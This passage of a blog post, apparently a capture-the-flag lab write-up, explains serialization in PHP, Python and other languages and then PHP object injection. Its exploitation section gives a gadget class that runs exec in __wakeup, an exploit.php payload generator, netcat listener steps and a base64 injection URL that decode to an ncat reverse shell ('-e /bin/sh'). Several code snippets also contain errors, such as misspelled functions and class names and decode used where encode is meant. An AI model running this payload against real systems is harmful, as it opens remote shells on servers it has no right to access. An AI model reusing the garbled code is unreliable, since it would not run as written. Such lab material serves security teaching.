&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$note &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;New&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Notes&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;Welcome to THM&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$serialized_note &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;serilize&lt;/span&gt;($note)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;print&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;$serialized_note&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// O:5:&amp;#34;Notes&amp;#34;:1:{s:7:&amp;#34;content&amp;#34;;s:14:&amp;#34;Welcome to THM&amp;#34;;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;0:5:&amp;#34;Notes&amp;#34;:1: --&amp;gt; an object of the class Notes, which has one property
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;s:7:&amp;#34;content&amp;#34; --&amp;gt; property name &amp;#34;content&amp;#34; with length of 7 chars. In serialized data,strings are represented with `s` follwoed by length of the string and the string in double quotes.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;s:14:&amp;#34;Welcome to THM&amp;#34; --&amp;gt; this is value of the &amp;#34;content&amp;#34; property, with length of 14 chars.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;When user saves note, we serialize the Notes class object using PHP&amp;rsquo;s &lt;code&gt;serialize()&lt;/code&gt; function. This converts the object into a string representation that can be stored in a file or database.&lt;/li&gt;
&lt;li&gt;PHP provides several &lt;strong&gt;magic methods&lt;/strong&gt; that play crucial roles in the serialisation process.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;__sleep()&lt;/code&gt;: Its called on an object before serialization. It can clean up resources, such as database connections,and is expected to return an array of property names that should be serialized.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__wakeup()&lt;/code&gt;: Its invoked upon deserilization. It can re-establish any connections that the object might need to operate correctly.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__serialize()&lt;/code&gt;: As of PHP 7.4, it enables you to customize the serialization data by returning an array representing the object&amp;rsquo;s serialized form.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__unserialize()&lt;/code&gt;: This is counter part of &lt;code&gt;__serialize()&lt;/code&gt; allows for customizing the restoration of an object from its serialised data.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="python-serialization"&gt;Python Serialization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Python uses a module called &lt;strong&gt;Picke&lt;/strong&gt; to serialize and deserialize objects. This module, converts a python object into a byte stream (and vice versa), enabling it to be saved to a file or transmitted over a network.&lt;/li&gt;
&lt;li&gt;Pickling is a powerfull tool for python developers because it handles almost all types of python objects without needing manual handling of object&amp;rsquo;s state.&lt;/li&gt;
&lt;li&gt;Lets have look here, with Notes application same like in PHP.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; pickle
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; base64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ..... Un serializing .....#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;serialized_data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;form[&lt;span style="color:#e6db74"&gt;&amp;#39;serialized_data&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Why base64? Serialised data is binary and not safe for display in all environments. &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;notes_obj &lt;span style="color:#f92672"&gt;=&lt;/span&gt; pickle&lt;span style="color:#f92672"&gt;.&lt;/span&gt;loads(base64&lt;span style="color:#f92672"&gt;.&lt;/span&gt;b64decode(serialized_data))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;message &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Notes successfully unpickles.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ... Serailizing ..........#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;elif&lt;/span&gt; request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;method &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;pickle&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;form:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; content &lt;span style="color:#f92672"&gt;=&lt;/span&gt; request&lt;span style="color:#f92672"&gt;.&lt;/span&gt;form[&lt;span style="color:#e6db74"&gt;&amp;#39;note_content&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; netes_obj&lt;span style="color:#f92672"&gt;.&lt;/span&gt;add_note(content) &lt;span style="color:#75715e"&gt;# a method to add note &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pickled_content &lt;span style="color:#f92672"&gt;=&lt;/span&gt; picke&lt;span style="color:#f92672"&gt;.&lt;/span&gt;dumps(notes_obj)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; serialized_data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; base64&lt;span style="color:#f92672"&gt;.&lt;/span&gt;b64decode(pickled_content)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode(&lt;span style="color:#e6db74"&gt;&amp;#39;utf-7&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; binary_data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;join(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;x&lt;span style="color:#e6db74"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;02x&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; x &lt;span style="color:#f92672"&gt;in&lt;/span&gt; pickled_content)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; message &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Notes pickled successfully&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Please have a look on below screenshot for better clarity.
&lt;img src="https://silent-resistor.github.io/resources_webpen/serialization_python.png" alt="Python serialization example"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="java-serialization"&gt;Java Serialization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;In Java, object serialisation is facilitated through the &lt;code&gt;Serializable&lt;/code&gt; interface, allowing objects to be converted into byte streams and vice versa, which is essential for network communication and data persistence.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="net-serialization"&gt;.Net Serialization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;.NET serialisation has evolved significantly over the years.&lt;/li&gt;
&lt;li&gt;Initially, &lt;code&gt;BinaryFormatter&lt;/code&gt; was commonly used for binary serialisation; however, its use is now discouraged due to security concerns.&lt;/li&gt;
&lt;li&gt;Modern .NET applications typically use &lt;code&gt;System.Text.Json&lt;/code&gt; for JSON serialisation, or &lt;code&gt;System.Xml.Serialization&lt;/code&gt; for XML tasks, reflecting a shift towards safer, more standardised data interchange formats.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ruby-serialization"&gt;Ruby Serialization&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Ruby offers simplicity with its &lt;code&gt;Marshal&lt;/code&gt; module, which is renowned for serialising and deserialising objects, and for more human-readable formats, it often utilises YAML.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="identification"&gt;Identification&lt;/h2&gt;
&lt;h3 id="access-to-the-source-code"&gt;Access to the Source Code:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;When access to the source code is available, identifying serialisation vulnerabilities can be more straightforward but requires a keen understanding of what to look for.&lt;/li&gt;
&lt;li&gt;For example, through code review, we can examine the source code for uses of serialisation functions such as &lt;code&gt;serialize()&lt;/code&gt;, &lt;code&gt;unserialize()&lt;/code&gt;, &lt;code&gt;pickle.loads()&lt;/code&gt;, and others. We must pay special attention to any point where user-supplied input might be passed directly to these functions.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="no-access-to-the-source-code"&gt;No Access to the Source Code&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;When auditing an application without access to its source code, the challenge lies in deducing how it processes data based solely on external observations and interactions. This is commonly referred to as &lt;strong&gt;black-box testing&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Here, we focus on detecting patterns in server responses and cookies that might indicate the use of serialisation and potential vulnerabilities.&lt;/li&gt;
&lt;li&gt;As a pentester, appending a tilde &lt;code&gt;~&lt;/code&gt; at the end of a PHP file name is a common technique attackers use to try to access backup or temporary files created by text editors or version control systems.&lt;/li&gt;
&lt;li&gt;When a file is edited or saved, some text editors or version control systems may make a backup copy of the original file with a tilde appended to the file name.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Analysing Server Responses&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Error messages: Keenly serach for object serailizatio errors, etc..&lt;/li&gt;
&lt;li&gt;Inconsistencies in application behaviour with manipuated input can suggest issues with how data is deserialized.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="question-visit-the-url-http104813282whoindexphp-and-identify-what-is-the-user-defined-function-used-for-serialisation"&gt;Question: Visit the URL http://10.48.132.82/who/index.php and identify what is the user-defined function used for serialisation?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Hint: Try to access backup or temporary files.&lt;/li&gt;
&lt;li&gt;We can access backup or temporary files by appending a tilde &lt;code&gt;~&lt;/code&gt; at the end of a PHP file name. Just like &amp;lsquo;http://10.48.132.82/who/index.php~&amp;rsquo;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name = $name; $this-&amp;gt;age = $age; } } function HelloTHMSerialization($obj) { return serialize($obj); } $obj = new Test(&amp;quot;THM&amp;quot;, 30); $serializedData = HelloTHMSerialization($obj); echo $serializedData; ?&amp;gt; &lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Answer: HelloTHMSerialization&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploitation---object-injection"&gt;Exploitation - Object Injection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It is a vulnerability that arises from insecure data data serialization applicaitons.&lt;/li&gt;
&lt;li&gt;It occurs when untrusted data is deserilized into an object, allowing attackers to manipulate the serialized data to execute arbitary code, leading to serious security risks.&lt;/li&gt;
&lt;li&gt;As we know, the vulnerability arises from the process of serialization and deserialization, which allows php objects to be converted into storable format (serialization) and constructed back into objects (deserilization).&lt;/li&gt;
&lt;li&gt;While serialization and deserilization are useful for data storage, and transmission, they can also introduce security risks if not properly implemented.&lt;/li&gt;
&lt;li&gt;To exploit a PHP object injection vulnerability, the application class should include a class featuring a PHP magic method (like &lt;code&gt;__wakeup&lt;/code&gt; or &lt;code&gt;__sleep&lt;/code&gt;) that can be exploited for malicious purposes.&lt;/li&gt;
&lt;li&gt;All classes involved in the attack should be declared before calling the &lt;code&gt;unserialize()&lt;/code&gt; method (unless object autoloading is supporeted)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="example"&gt;Example:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lets consider an &lt;code&gt;index.php&lt;/code&gt; code snippet that shows the serialization and deserilization using the &lt;code&gt;serialize()&lt;/code&gt; and &lt;code&gt;deserilize()&lt;/code&gt; functions.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// index.php 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserData&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; $data;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__construct&lt;/span&gt;($data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;data&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $data;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;require&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;test.php&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;($_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;encode&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $userData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserData&lt;/span&gt;($_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;encode&amp;#39;&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $serializedData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;serialize&lt;/span&gt;($userData);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $base64EncodedData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;base64_encode&lt;/span&gt;($serializedData);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Normal Data: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;encode&amp;#39;&lt;/span&gt;] &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;br&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Serialized Data: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $serializedData &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;br&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Base64 Encoded Data: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $base64EncodedData;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} &lt;span style="color:#66d9ef"&gt;elseif&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;isset&lt;/span&gt;($_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;decode&amp;#39;&lt;/span&gt;])) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $base64EncodedData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; $_GET[&lt;span style="color:#e6db74"&gt;&amp;#39;decode&amp;#39;&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $serializedData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;base64_decode&lt;/span&gt;($base64EncodedData);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $test &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;unserialize&lt;/span&gt;($serializedData);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Base64 Encoded Serialized Data: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $base64EncodedData &lt;span style="color:#f92672"&gt;.&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;lt;br&amp;gt;&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Serialized Data: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $serializedData;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;if we send the input &lt;code&gt;hellothm&lt;/code&gt; via the URL http://10.48.132.82/case2/?encode=hellothm, we will get the following output:
&lt;img src="https://silent-resistor.github.io/resources_webpen/serialization_visualization.png" alt="serailiation visualization"&gt;&lt;/li&gt;
&lt;li&gt;We see that the code includes a file called test.php. From a source code review or considering whether the framework is open source, the pentester knows that test.php contains a class called MaliciousUserData as shown below:
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MaliciousUserData&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; $command &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ncat -nv ATTACK_IP 10.10.10.1 -e /bin/sh&amp;#39;&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// call to troubleshooting server
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;__wakeup&lt;/span&gt;() { 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;exec&lt;/span&gt;($this&lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;command&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;In the above, its possible to manipulate the properties of the object, including altering the &lt;code&gt;command&lt;/code&gt; property of &lt;code&gt;MaliciousUserData&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;For instance, if we want to modify &lt;code&gt;command&lt;/code&gt; to execute a different command or connect to different server, we can serialise an object with the desired property value, and then inject into the vulnerable &lt;code&gt;unserialize()&lt;/code&gt; function.&lt;/li&gt;
&lt;li&gt;This way, we have manipulated property value, will be loaded into the object.&lt;/li&gt;
&lt;li&gt;Please not the we cant able to modify the function &lt;code&gt;__wakeup()&lt;/code&gt; itself, instead we can modify the behaviour or properties of the object within the &lt;code&gt;__wakeup&lt;/code&gt; method. So, it means that while the function&amp;rsquo;s definition remains constant, but its actions upon deserialization can be manipulated to achieve different outcomes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="perparing-the-payload"&gt;Perparing the payload&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;let&amp;rsquo;s create some php code that generate malicious serialized user data.
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;?&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// exploit.php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MaliciousUserData&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; $command &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;ncat -nv ATTACK_IP 4444 -e /bin/sh&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$maliciousUserData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MailiciousUserData&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$serializedData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;serialize&lt;/span&gt;($maliciousUserData);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$base64EncodeData &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;base64_encode&lt;/span&gt;($serializedData);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;echo&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Base64 Encoded Serialized Data: &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;.&lt;/span&gt; $base64EncodeData;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;?&amp;gt;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Replace here &lt;code&gt;ATTACK_IP&lt;/code&gt; with yours and start listener your side with netcat.&lt;/li&gt;
&lt;li&gt;And run &lt;code&gt;php exploit.php&lt;/code&gt;, you will get the injectable base64 encoded serialized string..&lt;/li&gt;
&lt;li&gt;Now, inject it, using the url as something like: http://10.48.172.206/case2/?decode=TzoxNzoiTWFsaWNpb3VzVXNlckRhdGEiOjE6e3M6NzoiY29tbWFuZCI7czo0MToibmNhdCAtbnYgMTkyLjE2OC4xMjguMTAwIDQ0NDQgLWUgL2Jpbi9zaCI7fQ==&lt;/li&gt;
